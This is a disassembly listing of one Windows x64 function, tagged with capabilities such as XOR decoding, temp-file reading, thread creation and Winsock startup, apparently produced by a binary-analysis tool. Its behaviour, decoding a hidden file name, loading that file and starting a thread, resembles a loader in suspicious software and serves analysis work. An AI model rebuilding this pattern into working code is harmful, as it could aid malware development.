Function at 0x140006aa0
Capabilities:
Create thread
Encode data using xor
Get common file path
Get file size
Initialize winsock library
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x2f0
lea rbp, [0x140029820]
mov ecx, 0x100
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
xor esi, esi
mov dword [0x140029938], 7
cmp word [reloc.d2d1.dll_Ordinal_1], si
xorps xmm0, xmm0
movdqu xmmword [0x140029920], xmm0
mov qword [0x140029930], rsi
movdqu xmmword [0x140029940], xmm0
mov qword [0x140029950], rsi
mov dword [0x140029958], esi
je 0x140006b49
movzx ecx, word [0x14001cb64]
mov eax, esi
inc ecx
test cl, 3
setne al
shr ecx, 2
add eax, ecx
mov ecx, esi
mov edx, eax
je 0x140006b42
lea r8, [0x14001cb68]
nop dword [rax + rax]
mov eax, dword [0x14001cb60]
xor dword [r8 + rcx*4], eax
inc rcx
cmp rcx, rdx
jne 0x140006b30
mov word [reloc.d2d1.dll_Ordinal_1], si
mov rdi, 0xffffffffffffffff
mov rbx, rdi
inc rbx
cmp byte [rbx + rbp], sil
jne 0x140006b53
test rbx, rbx
je 0x140006b79
mov r8, rbx
lea rcx, [rsp + 0x40]
mov rdx, rbp
call fcn.14001a970
mov byte [rsp + rbx + 0x40], 0x5c
inc rbx
lea rdx, [0x14001cb68]
inc rdi
cmp byte [rdx + rdi], sil
jne 0x140006b80
lea rcx, [rsp + 0x40]
mov r8, rdi
add rcx, rbx
call fcn.14001a970
lea rax, [rbx + rdi]
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
lea rcx, [rsp + 0x40]
xor r9d, r9d
mov byte [rsp + rax + 0x40], sil
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
mov rbp, rax
cmove rbp, rsi
test rbp, rbp
je 0x140006c4a
lea rdx, [rsp + 0x300]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, edi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
lea r9, [rsp + 0x300]
mov qword [rsp + 0x20], rsi
mov rdx, rax
mov r8d, edi
mov rcx, rbp
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, edi
mov rcx, rbx
call fcn.140006d90
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov qword [0x140029960], rsi
xor edx, edx
mov qword [0x14002996c], rax
mov r8d, 0x100
mov dword [0x140029974], eax
lea rcx, [0x14002997b]
mov word [0x140029978], ax
mov byte [0x14002997a], al
mov dword [0x140029968], esi
call fcn.14001a5b0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor edx, edx
mov r8d, 0x1000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
xor ecx, ecx
mov qword [0x140029a80], rax
xorps xmm0, xmm0
xor edx, edx
mov r8d, 0x104
mov qword [rax], rcx
lea rax, [0x1400069f0]
lea rcx, [0x140029c00]
mov qword [0x140029be8], rax
mov dword [0x140029a88], esi
mov dword [0x140029a94], esi
mov dword [0x140029a98], 1
mov dword [0x140029a9c], 1
mov qword [0x140029aa0], 1
mov qword [0x140029aa8], rsi
mov qword [0x140029ab0], rsi
mov qword [0x140029ab8], rsi
movups xmmword [0x140029ac0], xmm0
mov qword [0x140029bf0], rsi
mov qword [0x140029bf8], rsi
call fcn.14001a5b0
lea r9, [0x140029920]
mov qword [rsp + 0x28], rsi
lea r8, [0x140005db0]
mov dword [0x140029d04], esi
xor edx, edx
mov qword [0x140029920], rsi
xor ecx, ecx
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x202
lea rdx, [rsp + 0x150]
call qword [sym.imp.WS2_32.dll_WSAStartup]
lea r11, [rsp + 0x2f0]
test eax, eax
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
sete sil
mov eax, esi
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret